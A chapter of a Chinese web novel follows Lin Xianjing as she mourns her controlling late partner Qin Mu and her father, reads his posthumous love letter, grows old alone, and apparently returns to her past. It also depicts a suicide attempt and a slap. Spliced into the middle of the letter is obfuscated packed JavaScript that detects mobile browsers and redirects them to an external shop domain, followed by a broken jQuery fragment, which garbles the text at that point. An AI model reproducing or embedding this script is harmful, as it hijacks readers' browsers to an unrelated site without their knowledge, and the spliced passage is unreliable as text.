田间快餐店这么多年没大改动过，相比马路对面整齐翻新的红顶小楼，快餐店发黄的墙面显得有些过时。
林弦景迈过两节矮台阶，推了推门，没有预想中那样轻松打开，低头一看，原来是落了锁。
连带左右隔壁的店铺都不见营业的，她从台阶上退下来，看到一旁路灯柱子上贴着“店铺转让”的广告。
林弦景怔立了几秒，长长吐出一口气，心头像被人浇了一抔湿土，又冷又沉。
店门外边摆的露天桌椅上落了不少灰，林弦景拿一张纸随意擦了擦便坐下，老旧的凳子腿焊接处有点不牢，屁股一挨上去，嘎吱直响。
门前一排老槐树，紧巴巴地挤在一起，叶子绿得正好，再晚来一阵，大概只能见一树的干枝和一地枯黄。
凉风卷着桂花的清香，从老远的地方吹过来，林弦景枯坐在风里，胃里很空，眼皮很重，但不想动。
坐着坐着，临近傍晚，放学后骑自行车的学生从门前的槐树荫下路过，车头的铃铛叮铃了一路，林弦景的思绪追着逝去的自行车尾，记忆像突然长出了触须，敏感地一发不可收拾。
狭窄的店面，拥挤的桌椅，那年蝉鸣异常聒噪的夏天，无聊闷热的午后，低矮的收银台，窗户边干干净净的青年，就放电影一样，一帧一帧在林弦景脑海里上演。
秦苜这个家伙，百分之九十的时间都是让人觉得讨厌的，油盐不进，固执，控制狂，冷漠，从不争辩，也从不讲道理，活着的时候不让她安生，死了还要霸占她的心绪。
说不定现在就躲在天上偷偷看她，正等着林弦景露出痛苦的表情，好得意地对周围人说：看吧，她再讨厌我，也离不开我。
林弦景才不要如他所愿，可眼泪就是没办法，掉得像断了线的珠子，噼里啪啦砸下来。
汹涌的哭意瞬间让林弦景的四肢发软发麻，嗓子眼像吞了碎瓷片那样，疼得难以忍受。
这个混蛋！
在快餐店门口坐到风都冷了下来，林弦景还是有些舍不得离开，七年前老是喜欢靠窗坐的那个青年，在夏天太阳最肆虐的时候出现，短暂参与过她人生里最落魄和羞耻的时刻。
无数次逼出过她的眼泪，然后锢着她的脸，冰凉的手指轻轻陷在眼角的新湿处，用力揉开，继续跟有什么病似的在她太阳穴打转研磨，当她是没有知觉天生用来摆玩的洋娃娃吗？
林弦景最恨的那些瞬间，像自己长了脚一样，狠狠地一遍遍在她脑神经上踩，重重地在她记忆里砸了个坑，留下一堆零碎的痛苦和庆幸在坑里，又轻飘飘地离开。
林弦景恨他，这一点随着他的死去，或许淡化了些，但总归是有的。
但有时候林弦景也会想，如果当初不是那种情形下的相遇，那他们的结果会不会不一样？
*
秦苜去世后，林弦景辞了职，跟槐北市认识的人一一发消息告了别，除了那个笔记本什么都没带，一个人回了老家陶湾镇。
老家小院里丛生的野雏菊没人修剪，纷纷窜到了大腿那么高，林弦景打理了一下午，挑挑拣拣摘出来一簇最好看的，用丝带扎成花束，又从南街的旺家食铺买了只烧鸡，匆匆上路，在傍晚时分赶到了林有金的墓前。
“老林，想我没？”
林弦景将手里的花放下，顺带撕开了烧鸡的外面包着的油纸，孜然的香气立刻逸散出来。
“我这次来，不回槐北了，”林弦景把烧鸡往墓碑边推近了些，“还是热的，吃不到的话闻闻也行，我特地让店家多撒了孜然。”
林弦景尽量让自己的声音听起来自然一点，这不是她第一次来，每一次在路上她都做足了心理准备，每一次心理准备最后都会失效，真的是。
林有金这个抠搜的老头，健康的时候舍不得钱，没吃上过几口，好不容易好过点了，又成了没知没觉的植物人，全靠鼻管里打进去的那点浆糊吊着命。
专家一波一波请，药品不计代价往里面输，能做的都做了，也只把他在这个世上多留了两年。
其实林弦景来槐北市打工，刨除吃住这种基本的生存费用，还特意攒了一笔钱，在她的计划里，是打算这笔钱带林有金去坐飞机，看大海的。
林有金是个传统的北方人，父辈们在黄土地里安了家，四周焦黄的秃山阻挡了他们向外的视线，目之所及，澄蓝高远的天空像个大锅盖扣在天顶上，挺着翅膀的飞机从上面飞过，拉出一道白色轨迹，像是要把天扯破。
林有金每次都指着头顶那些平直的白线，嘴上佯装嫌弃：“飘在空中也没个托底的，咋能安全嘛？”
小小的林弦景抱着他的大腿：“爸爸我以后带你坐大飞机！”
林有金这时候总会哈哈大笑，然后用力抚弄两把她的发顶：“行啊，爸的好闺女！”
上学后，老师布置了道作文题，让大家想想自己的梦想，那时候网络还没普及，林弦景她们那小镇没几个人用得上智能手机，大家的生活都被绑在南北狭长的小镇街道上，幼稚的年纪梦想也是芝麻大，当老师，开面包店，每天有冰淇淋吃……五花八门。
林弦景当时写的是“我想带爸爸坐飞机”，在一众梦想中显得格外特别，还被老师当做范文念。
一转眼，二十几年，班里的同学有人成了老师，有人开了连锁面包店，有人成了超市老板，只有林弦景还没如愿。
林有金刚离世那会，林弦景对这个世界莫名其妙的恨意达到了极点，明明她已经很努力很努力，为什么还要给她的人生安排那么多意外。
现实的希望碰了壁，一腔勇气稀里哗啦撞个粉碎，痛苦到极点，林弦景开始相信命运一说，并且责怪助推命运的那双隐形大手，祂随意地从指缝里漏了一点点沙粒，就把林弦景的人生砸得七零八落。
可她又是个软弱的人，报复在她心里是个不好的词，那些预备扎向外界的刺，最终还是转变成捅向自己的刀。
趁着秦苜去书房处理公务的空档，她静悄悄躲在卧室浴缸里划开了手腕，因为怕疼，最后还是收了力，伤口并不深，血一股股淌出来，给身前的睡裙染上了深色。
秦苜赶来时她已经意识模糊，隐约感觉到身体已经离开冰凉的浴缸，后背靠在了一团柔软的东西上，大概是客厅的沙发，手腕被一层层包起来，之后是救护车刺耳的嗡鸣，再醒来，林弦景发现自己躺在医院。
整整三天，秦苜在病房里进进出出，始终没有跟她说过一个字，但也没有离开过。
林弦景自知理亏，玩具随意任性带来的损失却要主人来承担，是谁都不会开心，出院回家的路上她的头一直垂得很低，秦苜先进的门，林弦景后脚踏入，还没来得及站稳，身后的门被人强力推上，下一秒，力道不轻的巴掌落在她的左脸。
其实这点疼与手腕上缝了6针的伤口相比算不得什么，但林弦景的眼泪还是立刻就落了下来。
用被眼泪湿透的眼睛视物，隐隐绰绰像在看水中的鱼，秦苜的脸近在咫尺，双手死死抓着她的肩膀，急促的鼻息打在她脸上，嘶声质问：
“林弦景，他走了你就要跟着走吗？”
显然是气急了，林弦景上一次见他这样，还是在五年前那个污臭的巷子里。
“这个世界上就没有别的让你留恋的人吗？”
说这句话时的秦苜正好背对着客厅的光源，轮廓模糊，大半张脸隐在黑暗里，看不清神色，林弦景靠耳朵从里面听出了莫名的痛意，一字一句，像从刀尖上滚过。
留恋的人……
林弦景的朋友少得可怜，大多数因为秦苜的阻拦，已经很少联系了，除了爸爸，她不知道还该去留恋什么。
这不是秦苜想要的吗？切割她的周围，让她的世界只剩对方一个人。
秦苜问了句多余的话。
*
太阳半截沉入地平线，凉风肆意起来，林弦景拿着随身带的擦布绕着墓碑擦了一圈，借着最后一丝余晖走出墓园。
转眼就十一月，陶湾镇雪来得格外早，积雪有二十厘米深，出门都变得不容易，林弦景窝在老房子里，抱着那本笔记本，浑浑噩噩熬到次年春天。
笔记本的每一页页脚人为标了页数，林弦景翻到第13页，上面写道：你喜欢的春天来了，樱花也该开了，想去的话趁早出发，别误了花期。
林弦景思索了几秒钟，订了第一周后飞樱岛的机票。
回来的路上，林弦景路过一家宠物店，看见橱窗里有一只落单的蓝金渐层，秦苜在笔记本里说，要是觉得孤单就养只猫吧，狗也行，狗热情一点，不论是什么，养之后就要多余承担一条生命的责任，写了长达三行的劝告，希望林弦景想清楚。
真是啰嗦。
林弦景当即大气付了钱，抱着小猫回了住所。
小猫才六个月大，很怕生，待在沙发底下不出来，林弦景哄了好久，她给小猫取名叫“木木”。
木木的猫脑袋埋在饭碗里，林弦景叫了好几声，理都不带理的。
“坏家伙！”林弦景食指戳了戳它的脑袋。
木木无赖地“喵”了一声，决心将坏家伙行为贯彻到底，霸占林弦景的床，挠沙发，半夜跑酷，给林弦景的杯子里加点猫毛佐料，一人一猫，把日子过得鸡飞狗跳，热闹不少。
那年冬天，林弦景收到了一件快递，寄件人信息不明，她拆开包装，里面是一张纸，被揉皱又铺平，边缘有锯齿样式的撕裂痕迹。
纹路，颜色，跟秦苜留给她的笔记本一模一样，纸上的字迹却更为潦草一些。
可以想象到，写下这段文字的人，已经孱弱到连一支笔也无力控制。
林弦景坐在临窗的矮桌边，木木在它脚下胡闹，不知来处的纸页被摊开，熟悉的墨迹清晰起来：
阿寅，其实我一直很害怕。
我从小到大，所拥有的东西太少，亲缘淡薄，一个人孤孤单单长到成年，然后来到这座陌生的城市，打工，上大学，毕业后住着300块一个月的出租屋，在快餐店遇到了你。
我一个人惯了，后来有了你，才知道有个牵挂的人是什么滋味，不是什么好滋味，总让人提心吊胆的。
我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733746|209014||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
怕你离开我，怕你出事，怕你被别人欺负，怕你生病了没人管，所以我把自己活成了你的影子。
你在哪我在哪，你干什么我都想插一脚。
我知道你烦，对不起。
有一句话，我以为我们时间还长，我总有机会说出口，但现在好像来不及了，我就写给你吧。
我爱你，庄严且郑重地发誓。
阿寅吾爱，祝你平安。
“喵—！”
“喵？”
木木被忽视许久，不满地喵喵叫，脑袋连拱带蹭，在林弦景小腿边盘旋。
这回换林弦景不理它。
她甚至怀疑自己突然患上了阅读障碍，每一个字都熟悉，所传递的情绪却很陌生，那么多那么重，砸得她晕头转向。
“喵喵喵！”木木继续放开嗓子大叫，跟个小喇叭一样，林弦景低头去看，眼泪顺势又往下落。
她俯身将木木捞到怀里，一点点摸着它柔软的毛，体温透过绒毛，温热的触感，像是在提醒林弦景，她还是活着的。
当晚陶湾镇又下起了雪，林弦景一夜没睡，她想起林有金走的时候，天也是阴沉沉的，铺天盖地的乌云压过来，天气预报说初雪可能会在那晚凌晨到来。
林弦景一个人在殡仪馆的灵堂里待到半夜，来吊唁的人寥寥无几，田间快餐店一起共事过的同事倒是来了两三个，秦苜去国外出差，刚出发两天，说是要在那边待一周，鬼知道他怎么赶回来的。
凌晨四点钟左右，林弦景窝在角落的蒲团上，迷迷糊糊靠着墙睡了会，醒来时恰好看到正在解围巾的秦苜，沾染了寒气的那件深黑色羊毛大衣被他随意扔在入口的沙发处，林弦景愣愣地看着他径直跪到中间蒲团上，对着供桌结结实实磕了三个头。
秦苜磕完往这边走，林弦景实在没力气应付他，只好扭过头闭上了眼睛装睡，秦苜也没拆穿她，拉了只蒲团过来坐到她旁边。
后来所有的下葬流程，秦苜一场也没缺席，从墓园回程，秦苜拉过她的手塞他大衣口袋，安安静静牵了一路，也短暂温暖了她一程。
他和秦苜相遇，如今也八个年头了，秦苜在她生命里大多数时候是雨，连绵的细雨或者偶尔的暴雨，但有时候也是充当过伞的角色的。
林弦景开始严重失眠，精神不济，这种状态延续了一整个冬天，并没有随着春天的到来有所好转。
她察觉到了什么，开始联系律师，把秦苜留给她的钱用作慈善基金，流程繁琐磨人，好在顺利进行了下去。
所有的后顾之忧解决，林弦景开始了全职铲屎官的生活，切断和外界的联系，蜗居在小镇里，早上出门买个菜，傍晚出门溜溜猫，睡眠依旧很差，大有越来越差的架势，林弦景心平气和，闭上眼不再看命运的一切馈赠或是惩罚。
木木活了十二年，走的时候林弦景都长出了白头发，她把心爱的木木埋到院里的枣树下面，有枣叶遮风挡雨，希望它以后每天都能做香甜的梦。
算算时间，真的太久了。
高铁已经修到了隔壁县，打通了困住祖祖辈辈几十年的黄土山，钢铁巨蛇拉着这片土地上的经济一路腾飞。
外面的机会多了，还留在陶湾镇的人自然越来越少。
连南街的旺家食铺也在前两年倒闭了。
只有林弦景，十几年，没向外迈出过一步。她身体素质很差，瘦骨嶙峋，一头柔软的长发半白，嗓音沙哑，反应迟钝，跟邻里的关系很淡薄。
这个月雨势一连好几天，她几乎不怎么出门，好不容易等雨停了，挑了个明媚的艳阳天，她提着自己做的烧鸡，慢吞吞往老林住的墓园走。
上坡路，年久失修，崎岖不平是常态。
太阳亮得瘆人，日光像粗糙的盐粒洒在她血淋淋总也好不了的伤口上。
从头到尾，她要跨的每一道坎都被刻得像刀子般锋利无比。
林弦景已经走到麻木，抬步时，分不清血和眼泪哪个先流下来。
她靠在墓碑上，长长的舒了口气，像小时候靠在老林怀里那样，靠着靠着，就睡着了。
周围突然很冷，一睁眼，墓园不见了，取而代之的是一条光可鉴人的长廊，两边两排蜂窝似的小房间，林弦景蹲靠在长廊边角，听到身后房间里传来激烈的吵闹声。
“少放狗屁，说我姑娘偷东西，偷你家祖坟了还是偷你家棺材盖了？”
“林弦景家长，请你冷静！”
“老师你上一边去，我姑娘被她家孩子欺负成这样，我没动手就已经很冷静了，大人也这么不要脸，赶明儿要不我从工地搬两袋水泥送你，把你那烂心烂肺早点砌了，省得光冒气没脑子……”
一阵噼里啪啦，眼看越来越大声，林弦景根本搞不清楚这是什么情况，她猛地站起身，眼前一黑差点又跌回去，扶着墙走了两步，手底下摸到门把手。
用力一拧，门开了，眼前黑雾散去，屋里子人不少，她家老林大爷似的往中间一站，气势一点不落，跟人争得脸红脖子粗。
娘嘞！活的老林，林弦景险些真晕过去。